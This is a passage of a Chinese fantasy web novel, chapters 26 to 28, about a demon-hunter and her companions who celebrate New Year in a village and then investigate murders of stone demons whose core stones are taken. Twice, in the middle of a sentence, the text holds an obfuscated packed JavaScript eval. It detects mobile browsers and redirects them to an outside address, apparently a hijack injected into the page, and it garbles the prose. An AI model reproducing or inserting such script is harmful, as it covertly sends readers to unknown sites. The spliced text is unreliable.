酽白放任柳殷照打骂不管,靠坐在树上看戏,直到山林中其他小妖过来解围,酽白才慢悠悠起身,拉开柳殷照,一把揪住鹿的衣领,将他踹进了旁边的小水塘中。 “酽白,啊啊啊啊,我跟你没完。” “下次,我还把你扔水里,柳殷照,走了。” 整个小尧涧都知道,这只名叫越方的鹿妖最讨厌水了,酽白的举动将他气得半死,咕蛹着从水里爬出来,眼睁睁看着讨人厌的姑娘得意离开。 都说鹿的天性是温驯,越方却是例外,他从小就惹是生非,比他弱的喜欢捉弄人家,比他强的非要挑衅人家,然后被人家暴揍。酽白觉得,他就是缺根脑筋,纯纯有病。 “酽白,他是谁啊,跟你很熟吗?”柳殷照有点在意,听他们说话像是认识很久了,但应该算不上关系好,反正肯定没他和酽白的关系好。 “一个脑子有病的妖,别跟他玩,小心变得跟他一样。” 柳殷照连连点头称好,二人掐着点回去,村里家家户户都冒着炊烟,路过门口时各种饭香透过门缝飘到外面,被他们猛地吸进鼻腔里,然后加快了回家的脚程。 树神的话言犹在耳,离春天还早,酽白不得不再仔细考虑。今年她二十一岁,往后少说还有几十年好活,师父的遗言说别忘了他的教导,若是自己就此荒废法术,会不会很对不起他。 留下和离开两种思绪在脑海里相互拉扯,酽白一时陷入了无助地步,迷茫的人生抉择又缠上了她。 接下来很长一段时间,她都因陷在漩涡中而无精打采,是挣扎着向上还是任由自己坠落到底。 反倒是其他人,庭芜绿待了几日后就要离开,她接到宗门师命,衡進宗长老让她前往别处除妖,迫于情况紧急,她连夜收东西离开了。 剩下两人像是在酽白家扎根了一样,始终不说离开,反而有种越住越习惯的感觉。于是,三个人就这样慢慢混着日子,一天熬过一天。 26. 他们的新年 庭芜绿走后,剩下几人整日里无所事事,不是进山闲逛就是溪边捉鱼。几次下来,鱼都有点吃腻了,当然除了柳殷照这个不叼嘴的小妖。 再往后,天气彻底冷了下来,进山不再是乐趣,而是被朔风反复切割的折磨,他们的日常活动减至一项。然而溪水冰凉刺骨,慢慢结成了冰,最后一项外出活动也被彻底抹杀。 终于,有人先疯了,常鹊羽是个在家待不住的,这天背着双手走遍了整个村庄,渴望给自己找到一丝乐趣。 村里人已经认识他,他们知道酽白家来了两个男人,一个负责做饭,一个负责逗乐,日子好生有趣。 七婶老远就看见常鹊羽,扯着嗓子喊他过去。在众多村民的注视下,他快步跑过。七婶手里挎着一个篮子,里面是胖胖的红薯。 “小常啊,来,拿回去吃,我自己种的又甜又糯。” 常鹊羽身为一个好厨子,不会拒绝任何送上门的食材,直接了当的伸手接过,顺带帮七婶把沉重的背篓背了回去,年轻人力气好使。 有了这筐红薯,今天算是能打发时间了,他要烤红薯、煎红薯饼、炸红薯条,一气儿做个够。 哐一声推开院门,急不可耐的叫酽白他们出来,听见有吃的,柳殷照跑的飞快,人类的红薯他见过但是没吃过,有点期待。 酽白懒懒散散的依靠在门框上,看见两人忙得起劲儿,也不好再当闲人,主动揽过洗红薯的活儿。 冬日里用柴火的地方多,庄户人家不舍得一直烧柴温着水,只在做完饭后,靠余火烧一锅温水,其余时候还是靠用凉水,手伸进去,那叫一个沁人心脾。 酽白家里的柴还是邻居送来的,维持不了几日就见底了,没办法,今天只好用冷水了。 正当她挽袖子开干时,柳殷照一下挤开她。 “我来,你去帮常大哥看着灶里的火。” 既然如此,酽白欣然接受,真是个好妖怪,在心里又默默给他加了一分。 忙活了半上午,终于吃上了热乎香甜的红薯,拨开软趴趴的皮,里面是金黄色的绵密果肉,糯糯的烫嘴,柳殷照迫不及待下口,被烫的跳起来。 红薯干一条条的,一口咬下满是香脆;红薯饼煎得两面金黄,外酥里糯。大家都吃得尽兴,满意的腆着肚子下桌。 从那天起,他们又有了可以打发时间的活动,进山捡柴,还有烤红薯土豆一类的食物。 日子在迷茫中悄然消逝,等酽白清晰反应过来,已经是腊月二十九,新年在即。 之前三年都是她一个人过,还都在外居无定所,对新年的感觉也没这么强,如今回到家中,反倒是更显出一番浓重。 只是不知今天镇上还有没有开门的商铺,酽白不再迟疑,拉上另外两人一起,搭上同村叔伯的牛车,慢悠悠向镇子去。 因为明天是三十,小尧涧的店铺会关门,一直到正月初二才迎客,今天是最后一日置办年货了。 买菜买肉这种事被常鹊羽包揽去,酽白去买别的物件,叫上柳殷照充当工具人,寸步不离的跟在她身边。 镇上人不少,先寻着卖对联窗花的铺子,挑了喜欢的花型,还有除旧迎新用的炮竹,守岁时磨嘴的小零食…… 酽白回头想问问柳殷照还差什么,只见东西堆满他怀里,不得不支着脑袋用下巴稳住。酽白哑然,她买了这么多?看来应该是不差什么了,可以去找常大哥汇合。 街上人来人往,大家手里都提着东西,酽白甩手悠闲地走在其中,难免有些格格不入,不好意思的从柳殷照手里接过一部分物品。为了安慰他的辛苦,主动给他买了亮晶晶的冰糖葫芦,过年必备的小吃。 这可把小石妖感动坏了,握着酸甜可口的葫芦,硬是没舍得吃,傻笑着看了一路。 常鹊羽还没过来,他正游走于猪肉铺里,不断挑选着最完美的肉块。 等挑好了一块五花肉,结完账准备去汇合点,熙熙攘攘的人群中出现个他熟悉的背影。 “凤棠——凤棠——”粗犷的声音在嘈杂人群中不值一提,他也无法跨过人潮去到那人身边,眼睁睁看着她消失在视线中。 等百般艰难的脱身出来,忙朝着最后的方向追去,那里只有一条路,可他寻遍街巷也没再找到,直到背后有人在叫他的名字,是小柳。 他猛然间清醒过来,小尧涧离那个地方相隔千里,凤棠怎会独自一人出现在这,肯定是看错了。 “常大哥,你怎么魂不守舍的?”柳殷照问出口的话被随意糊弄过去,他是个心大的,也不甚在意,但酽白听见了,凤棠应该是个女人的名字,看来,常大哥也有一段过往啊。 赶牛车的叔伯被事情耽搁住,酽白本来打算走回去,但天空隐有落雪之象,再晚点只怕被困住,只能肉疼的出钱雇了马车。 如她所料,刚刚下马车进入村子的小路,雪飘飘洒洒而来,前几日已经下过一场,这是今年的第二场,来势照之前更猛。 一小段路程,身上的衣物就被雪水沾湿,冻得人浑身冰凉。酽白她恨啊,前不久在崖罗才过了冬天,现在又来,看出来了,老天就是想折磨她。 她赶紧回屋燃气火炉,将身体在炉子前展开,舒适的喟叹一声。隔着窗纸瞥见雪地里还有个人影,不用猜都知道是柳殷照那家伙。 果然,没多久久传来他激动的嗓音,“酽白,你快出来玩,我给你做了个雪人,很漂亮的。” 哼,打死她都不会出去,但又莫名的想看,还带着些乌紫的双手将窗户打开一条缝,看见了那个漂亮的雪人。 漂亮到让人难以形容,地上隆起了一堆雪,上面突兀的立着个椭圆脑袋,长短不一的树枝充当手臂,还有乱七八糟的五官。 “是……漂亮的吗?”到底是谁的审美不对,这很让人怀疑。 等身体暖和过来,酽白才穿了厚厚的外衣出来,将对联窗花分好,从厨房取来黏糊的米汤水,一层层糊在墙上,再把喜庆的字画贴上去,也算是有点过年的氛围了。 ”严丫头在吗,婶给你做了些好吃的。” 七婶带着她小儿子过来串门,同行的还有一个妇人,是她的儿媳,手里抱着可爱的小婴儿。布兜子里是两节香肠和手掌大的腊肉,这东西,在普通农家里是异常可贵的,一年到头就吃这一段时间。 酽白赶忙接过,热情的邀他们进屋,将今天买的各类吃食全都拿出来,小孩子嘴馋,看见这些好吃的双眼亮堂堂的放光。 许是七婶没发话,小孩子不敢动手拿,酽白直截了当的将一包酥饼塞在他手里,得到了允许后他才小心撕开油纸包。 几人聊的开心,就连小妇人怀里的小娃娃也兴奋的喔喔嗷叫。柳殷照对人类幼崽起了兴趣,拿着红薯条逗他,谁料婴儿一个飞扑,到了他怀里。 软软的,热乎的,香香的,这就是从人类女人肚子里出来的小东西吗,太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546924|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹人爱了,人类女人真是伟大。 柳殷照将他小心抱在怀里,学着妇人那般左右踱步逗弄,满室都是婴儿稚嫩的笑声。一直到七婶离开,他才把孩子还给他母亲。酽白打包了一兜子年货,还塞了两个红封,给小家伙们发的贺岁钱,也算是感谢七婶对自己的照顾。 吵闹离去后,安静气息再度包裹住这里。 “小孩儿真好玩,常大哥,你有孩子吗?” 常鹊羽愣住,孩子啊,他有的,已经很大了。这个话题最终没能继续进行,饶是迟钝如柳殷照也看出了他的失落,讪讪闭上了嘴。 到了腊月三十的夜晚,三人一起吃了团圆饭,互不相识的人在此刻成为彼此关系亲近的家人,一起感受新年的欢喜氛围。 小尧涧的习俗是除夕夜子时在家门口点燃炮竹,越响亮红火越是好兆头,预示着来年生活美满,日子富裕。 酽白他们守岁到子时,顶着寒风将炮竹在院坝里摆好,随着邻人家传来脆响声音,柳殷照也点了火,一阵噼里啪啦响个不停歇。 此起彼伏的声响里,新一年的命轨转动。 持续了半个多时辰,虽然夜风如刀刃般割脸,还零零散散飘着残雪,但欢声笑语填满了村庄的每个角落,经久不散,小尧涧所有人的新年一定是幸福的! 常鹊羽神神秘秘的从衣兜里掏出几串东西。 柳殷照率先注意到,借着灯笼看清,是用彩线穿着的几串铜钱。 “常大哥,这是给我们的吗?” 在他的家乡,有彩绳穿钱已做岁钱的习俗,得到铜钱的人会平安健康,邪祟不侵身。 “你们是弟弟妹妹,我这个做大哥的不得表示表示嘛,来都拿着,图个吉利啊。” 常鹊羽二十八岁了,难得有几个厉害朋友,他是真把几人当做亲近的弟弟妹妹,还剩了一串是给庭芜绿的。 向常鹊羽道了谢,说着吉利话,待了片刻之后,他们逐渐拜倒在困意和寒风之下,陆续回到各自的房间。 这个新年在平静但又特别中度过,酽白很久没这样开心过,师父他也看到了吧,现在的日子真的很不错。 辗转过完年,不好再整日里游手好闲,正思量着要不找点事儿干,就收到了庭芜绿的来信,是通知他们干活的。 信上说这次的事有点棘手,还能跟柳殷照扯上关系,多的又没交代清楚,让人有点摸不着头脑啊。 酽白本来不想管,她还是倾向留在小尧涧,但旁边的某只妖满眼期待的望着她,像只可爱的小狗。老实说柳殷照进来帮了她很多忙,她应该回报一次,但内心又百般纠结,顶不住他那热烈的目光,酽白偏过头去。 “酽白酽白,你陪我一起去吧,求你了,咱们待在小尧涧也没事干,不如出去玩玩。” 他数次乞求,常鹊羽也充当起说客,最终,酽白扛不住他的期待,点头答应了,之后的事等这次结束再说吧。 一时间,刚有了人气的热闹院子重归于寂静,酽白照例让七婶看着房屋,还偷偷留了一大笔钱。从前酽白可不舍得如此花钱,但现在,她心里莫名的觉得,自己应该用不了这么多钱了。 背上行囊说走就走,路边植被还覆着一层薄薄的冰晶,鼻腔里呼出的气体成了盈盈缭绕的白烟。酽白将双鸣剑挂在腰侧,双手得到解放拢进袖里,内心祈祷温暖的春天快点来吧。 一行三人,在短暂的停歇后踏上了新的奇幻历程。 27. 仙山楼阁 事情还要从正月初九那日说起,庭芜绿自收到师门命令后,一刻未停的赶去目的地。本该亲友齐聚的热闹新年,她却一个人在外劳累奔波。 一位师兄向门派发回求助信,说近日在石梵域一带常有砾妖被害,他们体内的玄燧石均被夺走,不凑巧的是师兄另有要务,因而只能紧急调派庭芜绿前去查看。 他们虽为捉妖师,但如今人妖两界秩序井然,大家互不侵犯,若遇见了什么棘手的事,还会相互求助,是以衡進宗才会派人去替妖捉妖。 一听是砾妖之事,她霎时联想到柳殷照,二者会不会有什么联系呢,于是,匆匆传了信给酽白,想让他们同往。 砾妖如今并不常见,除却柳殷照外两位捉妖师也没再见到过,就连柳殷照自己也甚少听到同类的消息。 他不知道自己的父母亲人,也没有同类朋友,小时候他身边倒是有一个砾妖前辈,只是没照顾他多久就意外去世了,然后剩他独自长到106岁。这么些年过去,他试图打听过别的砾妖,到头来总是一无所获。 他从庭芜绿处得知此消息时,内心颤动不止,有即将见到同类的兴奋,也有怕被嫌弃的紧张不安。自小一个人无法无天惯了,这样粗野不堪的妖,他们会不会不喜欢? 庭芜绿等在进石梵域的必经之路,与大部队碰头之后再一起走,去看看杀妖取石的到底是什么个黑心东西。 这晚,酽白早早将行李归置好,明日提上包袱就能走,但这一通收拾后,居然没了睡意。 按计划今晚应该在与庭芜绿约好的客栈休息,哪知路上脚程慢了些,紧赶慢赶还是没能到达,本以为要露宿荒野,好在有一户人家愿意收留他们。 夜间还是寒凉,房里的炭盆早已熄灭,酽白起身出门欲再取些柴火来,拉开门就看见柳殷照坐在大开的窗户处。 时辰太晚主人家都休息了,只有小石妖静静的坐在那,背影笼罩在落寞之中,有点不合时宜的可怜。 他靠在窗沿抬头望向外面,月亮已有满月之势,透着浅淡黄光照向人界,柳殷照没动,甚至不知道酽白过来了。 “大半夜不睡觉,闲着看月亮呢?” 他惊觉有人讲话,微微侧头发现酽白在自己身旁,自觉向左挪动让出一半位置来,又贴心的伸手将窗户合上一扇。 看他如此细微妥帖,酽白就顺势坐下,打算听听小妖看月亮的理由。 “酽白,我有点兴奋。你知道吗,这么多年来,我第一次听到自己同类的消息,好想知道他们是什么样的,我像他们吗?” 像他们吗?怎么说呢,像吧,都不是一个爹娘生的有什么可像;不像吧,又都是一个脑袋两手两脚,实在难以难以回答啊。 酽白耐心听他讲完,换了另一套说辞,“兴奋就在这吹凉风?你想的东西等去看完不就知道了,何必过早忧思。” “而且到时候,你若想留在那里也是可以的,柳殷照,你肯定会有很多同类朋友的。” 这句话是事实,他待人真诚,心思简单,是很好相处的妖,肯定能交到朋友。 他没接酽白的话,凭他现在的心而论,应该不会留下吧,他还是想跟着酽白一起。 “对了酽白,你们说的玄燧石是什么,对砾妖来讲这很重要吗?” 捉妖师瞪眼挑眉,她是真没料到柳殷照连这个也不知道,小石妖是对自己一无所知啊,这106年过得也是不容易。 “玄燧石是每个砾妖都会有的东西,一只妖只有一颗,通常需要他们自己炼化出来。这颗石头需要他们耗尽全身妖力去炼化,可以制作强大法器,或者修补神物。只是,炼化出玄燧石后,砾妖就会变得和普通灵物一样,寿命缩短,也不能再修炼。最重要的是,玄燧石若受外力催化而成,往往会在成型前碎化,带着它的主人一起走向死亡。” 这是柳殷照第一次听到自己的特性,过去的数年,没有同族长辈的教导,他什么也不知道。此刻好像是进入了新的世界,不断了解自身的特异功能,酽白觉得他应该多知道些,想起师父著的异妖书册,翻找出描写砾妖的片段给他看。 昨夜的小插曲让他们不敢再耽搁,金晨天不亮就踏着晨露离开,加速赶往石梵域。 等到地方后已经是几日之后,半月的路程很是磋磨人,大家都没了刚开始的轻松之态,后面甚至累到不想开口说话。 石梵域不像别的地方,这里又是地处深山,周围居住的多是些丹药师,大山里面环境好,草药疯狂生长,想要什么就地取材实属便捷。 庭芜绿的师兄没等到跟他们碰面就离开了,像是发生了什么紧急事。 他们按着师兄留下的信找到了落脚处,是一个丹药师的居所,一座很大的双层古楼,坐落在树木葱郁的山林里,看上去真有种远离尘世的超脱之感。 屋内,来开门的是个老者,身形清瘦,飘逸长衫自带仙人之气,“庭芜绿,可算是来了。” “陈伯伯,竟是您!师兄可半个字都没跟我透露。”她很是诧异,惊喜的望着老伯。 常鹊羽用手臂碰了碰庭芜绿:“介绍介绍我们呗。” 庭芜绿闪开身,对着老者道:“他是常鹊羽,话多您不用管他,这是柳殷照,想必您也看出来了,他是砾妖但并无恶念的,这次来是想找一找他的同族们。” 随后在酽白身边仔细介绍她,“伯伯,这位叫酽白,也是一个很厉害的捉妖师,尧涧道长的徒儿就是她。” 等她一一介绍完,老者捋着胡子带笑开口,“几位小友,欢迎你们来到石梵域啊,跟这个丫头一样叫我陈伯就好。” 随后,他将几人迎进屋内,“知晓你们数日赶路疲劳不已,先去好好休息一下,刚好我也有点事要出门,等晚上再给你们好好煮一桌菜。” 说着就转身出了院门,步履匆匆带起衣摆飘曳,留下酽白几人干站在门口。 “这老伯啥事儿这么着急啊?”常鹊羽皱眉开口,一个劲儿的倒茶给自己垫肚子,一点用处没有,还增加了尿意,干脆抱住空落的肚子回房睡觉去。 庭芜绿在他走后也离开,向着后院药房而去。 酽白倒是不怎么饿,进堂屋坐下后,掏出油毡布细细擦拭双鸣,剑身锃亮无尘,柳殷照坐在一旁发呆。 瞧着像是要下雨,天空阴翳,云层低垂。冬尾之际,此间山林仍有茂密树从,在它们的遮掩之下,显得周围环境很是幽冥。 到了半下午,许久不见的庭芜绿搂着一堆瓶瓶罐罐回来了,“小妖,快来帮我拿一下。” 柳殷照接过一堆小罐子搁在桌上,好奇的打开一看,里面全是颜色各异的、大小不一的丹药。 “这是要干嘛,怎么拿来这么多丹药啊,你当饭吃?” “哪里多了?我这些可都是有用的。喏,这是给酽白的,她前段时间一直受伤,身体怎么能吃得消,这个有助她身体恢复。你手上那瓶刚好是给你挑的,它能覆盖你的妖气,刚刚陈伯一开门就发现你是妖了。你既然要跟着酽白四处游历,不备点这东西怎么行,你想让别人都知道捉妖师身边有只妖?” 酽白倒没想过这事,她又不歧视妖,只要像柳殷照这种不犯事,还老实听话的,留在身边也未尝不可。但,柳殷照积极手下,他不想因为自己给酽白添麻烦。 “真是多谢多谢啊,够义气的朋友,常大哥的是哪个?” 庭芜绿从桌上扒拉出一个小木盒子,“在这儿。” 柳殷照闻到一股甜香,有些诱人,嗅了几口直说好香好香。 “香就对了,这糖丸好吃着呢。要不是陈伯年纪大了,不能多食糖,常大哥才吃不到。” “糖丸?你拿哄小孩儿的东西给常大哥啊?” “小妖,这你就不懂了吧,凡人哪能随便吃这些丹药,这可不比外面普通医师开的药,一个不慎是会出问题的,常大哥无病无痛的,我只能给他挑到这盒糖丸了。” “糖丸,什么糖丸,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546925|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吃吃,正饿呢。”对话的主人公刚刚睡醒,揉着眼睛摇摇晃晃的就过来了。 庭芜绿将手上的糖丸抛给他,看他急不可耐的塞了几颗进嘴,然后准备将剩下的丹药拢起来带走。 “不是吧小芜,你给自己找了那么多?”柳殷照神色怪异的看着她,没想到她给自己下这么猛的药。 “这些都是给我大师兄的,他前段时间修为提升太快,身体的负担太重了。”庭芜绿紧紧抱住丹药,一点不撒手。 “大师兄?帝释青啊?如果是给他的那这么多也合理。”酽白放下剑,不知什么时候过来的,别人不知道,她可太清楚这大师兄了。 “酽白,你少跟柳殷照待一块,跟他一样不务正业了。”庭芜绿脸色微微发红,显然听懂了酽白的揶揄,看向她的眼睛带了些乞求。 常鹊羽将糖丸咽下,转头看见三人闹做一团,“嚯,感情你把这当自己家的丹药房啊,随便拿吗?” “你管我呢,陈伯伯对我可好了,我经常来这里拿丹药,他才不会怪我。”之后剜了常鹊羽一眼,羞恼的回房去了。 等她走远后,柳殷照才轻碰酽白,“哎,大师兄是谁啊?” 酽白可不想当多嘴婆,“你管这么多,务正业去。”然后又坐回去擦剑,留柳殷照自己在那儿编造传奇故事。 天擦黑的时候到底下起了小雨,陈伯淋雨而归,手上还提着好些菜蔬。 “哎哟,本想着早点回来,结果还是让你们等久了。稍候一会儿,我马上就去做菜,今晚让你们都尝尝我的手艺。” 常鹊羽帮着把菜提到厨房去,顺手摘好洗净,陈伯进来时只管下锅翻炒。这种场面必然少不了柳殷照,他也待在厨房里,前面吃了那么些难吃的,虽然嘴上不说,但现在能吃上人饭了又怎会不欢喜。 一通忙碌过后,六菜一汤总算是上了桌,大家围桌坐下,齐齐动筷,喝酒吃菜好不乐呵。酽白在继常鹊羽之后,遇到了第二个能称作好厨子的人,猛猛吃了一大碗饭。陈伯瞧着很是欣喜满足,这些见底的光盘子无疑是对他的肯定。 等吃完了饭,庭芜绿说出她师兄的求助,只见陈伯面色转瞬变幻,脸上忧虑十足。 “这件事本是我最先发现的,当时,砾妖族的族长禺棹前来找我相助,说族里屡屡有妖失踪,找到后发现已经死去多时,且身上的玄燧石都被夺走。我跟禺棹久查无果,才写信给衡進宗求助,然后就派了你师兄过来。” “不知你宗门内出了什么事,你师兄走的那样急,都没等到你来。”庭芜绿神色微变推说自己也不清楚。 陈伯几句话讲明了缘由,又说起今天的事。 “我今日下午出门,就是为这事儿。禺棹年纪大了,身体总是不好,几日前着急昏倒后就没醒过来,族里小妖送他去僻静处修养了。今天下午听说又发现了死去的砾妖,我才急着去看看情况,只是仍旧没有线索。” 柳殷照听见自己同类的遭遇心情万分悲痛,常鹊羽拍了拍他肩以作安慰,愤愤不平的痛骂那歹人不是个好货。 陈伯不想一来就把大家搞的焦虑,忙催着众人去休息,将事情推到明日去。 照例是常鹊羽跟柳殷照一屋,酽白跟庭芜绿同住。 两个姑娘早早在床上躺下,酽白熄了灯,她察觉庭芜绿有些怪异,现在终于问出了口,“衡進宗可是出了什么事?” 另一人很久没有回答,但酽白还是等着,直到庭芜绿翻身像她一样平躺,“我也不知道算不算出事,只是觉得好像变了,衡進宗跟之前不一样了。”之后又是良久的沉默,“好了酽白,暂时不会有什么事的。” 事情太过复杂,庭芜绿一时半会儿无从说起,她佯装睡去,再没讲话。 山里的夜更是凉意入骨,灵物们早早回窝避寒,一片清幽寂静。晚间下过小雨后,水汽凝成纱带状弥漫林间,飘飘渺渺缭绕翻飞,那幢古楼被纱带来回包裹,二者缠绵不止,真是一幅妙极的仙山楼阁图。 28. 一颗石心 第二日,晴空莹润如玉,在气温一点点回暖的过程中,酽白惊觉寒冬将至末梢,春天已有重现天日的迹象。趁着天气明朗,陈伯带着几人去到砾妖群居之处,一是为了让他们了解此案详情,二来是让柳殷照跟自己的同族见面。 昨日饭桌上,他听这只流落在外的砾妖细细道尽往日事宜,决心帮一帮他,好让他尽快融进族群。 早间的山林小路水汽重,草叶、岩石上均汇聚出小小水珠,贴着地面的白色雾气隐在几人衣摆之下,一行人穿行于蜿蜒小径中。 没走多久,就有人追上来,一个半大少年。 “陈伯陈伯,你快……快跟我走,有贼人劫了我家先生的丹药库,好些……珍贵的东西都没了,先生说可能与最近查的案子有关,让你赶紧去看看……” 看得出他跑了很远,累的喘不上气来,脸颊两侧因缺氧而泛起了红。 “哎哟,这可不好,我这就去看看情况啊。”着急应下声才想起自己另有要事,只好交代庭芜绿他们先去,然后匆匆离开。他却忘了几人都是生面孔,未必能进的去啊。 酽白他们继续前行,很快到达一处宽阔山谷,旁有清澈透亮深湖,周围是错落有致的屋舍,俨然一个世外桃源乡。 只有清楚砾妖族历的人知道,这片宁静之地是他们用千难万苦换来的。 按照经验来看,这种地方通常会设有结界,防止外人闯入,以此保护族群安全,他们一行人谨慎的停在山谷外延,只待陈伯过来再做打算。 然而,从他们靠近谷内时,就已经被发现了。砾妖对外人的防备尤为强烈,谷里负责守卫的妖静静躲在暗处,观察他们的一举一动。 藏在暗处的妖悄悄探出脑袋,竟是个俏丽的姑娘。她认出来了,两个女子是捉妖师,一个凡人,还有一个砾妖。 女妖尚不清楚捉妖师的好坏,但她无条件相信自己的同类,禺棹族长说他们的同族有很多留落在外,遇见他们时要记得带他们回家。 于是,任由他们千防万防,还是掉进了妖怪的陷阱里,被定住丝毫动弹不得。女妖闪现带着柳殷照消失了,随后剩下三人被结界弹开,飞出数十米远。 “柳殷照!”酽白也不知突然而来的小砾妖是好是坏,迅速拔出双鸣追着上前,毫不意外被阻挡在外。 好在庭芜绿比较冷静,制止了酽白的无用行为。 “她若要杀柳殷照早就动手了,他们都是同族应该不会有事的,我们先找陈伯来,将事情解释清楚就好。” 细思有理,酽白不再做无用功,刚刚见柳殷照被抓走,她的确有点着急,但绝没有别的意思,还不是为着他那句,“道长是好人,跟着你肯定不会出事的。” 小石妖一路替自己办事儿,不就是图这一点安稳么,她差点没做到,眼下只需等待片刻。 女妖带着柳殷照停在谷内某处,歪着头仔细看他,“你好呀,砾妖哥哥,我叫莲子,也是一只砾妖哦。” 没想到与同类初次见面是这样的场景,之前的期待此刻一扫而空,眼前这个姑娘的做法让他有点生气。 “我朋友他们呢,你把他们弄哪儿去了。”他用稍显恶劣的语气讲话,作势要离开这儿。 莲子吓了一跳,赶紧上前解释:“没有没有,他们只是在谷外进不来,没有危险的。砾妖哥哥,你的朋友是捉妖师,这真的没问题吗?” 小女妖显然在谷内待久了,捉妖师在他们眼里皆是恶鬼般的存在,一但遇见就会被抓走。 柳殷照无奈扶额,之前显然是对自己同类的期待水平过高,怎么对外界一无所知呢,世道变了,人家捉妖师现在也分好坏的啊。 “好了,我不跟你讲,要么让我出去,要么让我朋友进来。” “不行不行,你跟我们是一样的,得待在我们这里。我,我去找雎衣姐姐过来,你别乱走啊。” 莲子转身离开,还不忘将柳殷照困住。她的妖术有点东西,试了试果然破不了。果然,受过正经教学指导的妖跟他这种自悟自学的半吊子就是不一样,厉害的呢。 未几,脚步声四起混杂难辨,来的人不少啊,真是好大的阵仗。 七八个男男女女围了过来,为首是一男二女,那个叫莲子的也在其中。 “雎衣姐姐你瞧,他真的跟我们一样,我不是骗你的。”莲子迫不及待的拉着另一个女妖,邀功般指着柳殷照。 被唤作雎衣的姑娘看起来年岁长些,身上带着与年龄不相符的稳重气息,一脸严肃的审视着外来者。 “你叫什么名字,可是石梵域的妖?”她边说边靠近柳殷照,站在一旁没说话的男子适时戒备,场面一度有点紧绷,几人各自凝神,感觉随时都能动起手来。 柳殷照来这里是寻亲的,自然不想和他们起冲突,只将刚刚跟莲子说过的话再复述一遍,雎衣似有所信,叫上男妖苍苍一起去见酽白他们,只有傻呵的莲子仍然守在这儿。 说来赶巧,雎衣走出没多远,正见着陈伯跟酽白他们在一起。 “哎哟,正说着呢就来了。雎衣,这几位是我的小友,来帮忙查案子的。” 她带着一丝疏离,将人引向前方,有妖来报说禺棹回来了,让带着外来者一起过去。 “没事么?”等到与柳殷照碰面,酽白自然走到他身边,得到摇头示意后才完全放下心。 背光的屋内陈设简单,坐在木椅上的老人就是禺棹,砾妖族如今的首领。 他年纪很大了,头发花白一片,松弛的皮肤垂挂在身上,看起来精神也不太好,光是坐立在那儿就仿若用尽全力。 众人上前拜见过,他颇有深意的看着柳殷照,眼神里并无恶意,竟是一种喜悦之情。 禺棹招手叫柳殷照上前,脱口而出的语气像是熟人碰面。 “孩子,你都长这么大了。” 众人皆惊,虽说他们都是砾妖,同类见面难免会亲热些,但没想一族长老对他这么关心。 “雎衣,你替我照顾好庭道长他们,将族人被害一事详细告知。几位见谅,身体实在有些难以支撑,不能款待各位了。” 安排好各类事由,复转头热切的凝望柳殷照,邀他留下畅聊。众人自觉退出屋子,雎衣落在后面,将大门掩上。 来到外间的开阔庭院,莲子向酽白三人欠身,为自己的不当行为致歉,皆因她当时思虑不周,才导致后来的误会。 小妖都已经道歉了,酽白总不好再继续冷脸,只道无妨便将话头引向最近发生的祸事。 砾妖被害一事从半月前陆续发生,得知此事后他们开始着手调查,同时也加强了对外界的防御,但还是挡不住歹徒继续行凶。雎衣平静开口,三言两语道出事情经过。 “他们除了取走玄燧石还做了什么?” “没有,玄燧石的形成想必各位都清楚,若非自愿凝出必将碎化,定是那凶手用了某种办法进行逼迫,让他们凝出该石,然后杀了他们。那些尸身我都看过,只有一处外伤,刀锋刺破心脏一击致命。” 雎衣的想法确有道理,要想获得完整的玄燧石,最重要的就是让砾妖心甘情愿,可能同时让这么多妖都心甘情愿,凶手能耐不小。 “他们会不会被迷惑了,就像我们人类一样,用些迷药就能的手,说不定也有对付妖的呢?” 庭芜绿手肘杵向常鹊羽,能迷住妖的下三滥药粉还没发明出来呢,但他倒是给酽白提供了思路。 “没有药,但是,有法术。” 她说的可能再次被否定,雎衣摇头,“这就不清楚了,毕竟法术的痕迹无从查寻。” 雎衣这边很快问完,庭芜绿叫住陈伯,想看看他刚才有没有得到些信息。 “被盗走的东西虽珍贵,但平常用得极少,我跟另几个丹药师都看过,还没摸出门道。” 事情重新陷入僵局,酽白他们的到来似乎没起到作用,大家各自沉默静思,脑海里一遍遍浮现事情经过,渴望寻到一点点蛛丝马迹。 屋内,禺棹有些坐不住,柳殷照扶他到床上卧下,短短几步路,他就掩嘴咳嗽不止。 “刚刚一看到你,我就知道,是那孩子。小柳,这么多年了,我一直没找到你。” “您……在说什么呢?我并不明白。” 禺棹指了指近前的凳子,让他坐下说话,“怪我,你那时候太小,想必什么都不记得了。你到那边的书架去,找一个黑色木盒跟一副卷轴画来。” 柳殷照听话照做,拿着东西递给禺棹,有些好奇是什么。 木盒被暂时搁置在一旁,些微变色的卷轴画缓缓延展开。画中女子端坐,手持罗扇半遮笑颜,露出的眉眼有点眼熟。旁侧的男子如青松矗立,垂首半环着女子肩臂。 “你刚生下来的时候一点点儿大,跟你娘很像,你爹偏不信,非说小时候看不出来,瞧瞧,如今长大了还不是像你娘多一点。” 从禺棹的话中,柳殷照知道画上容貌姣好的二人就是自己的父母。 “你娘叫殷珠,是个凡人女子,你爹叫柳淞郃,是砾妖,也是我的好友。” 柳殷照没想过自己会是半妖,有些出乎意料,不觉间回想起半见说他的族人不喜欢半妖,那他们会喜欢自己吗,半妖会不会被驱赶? 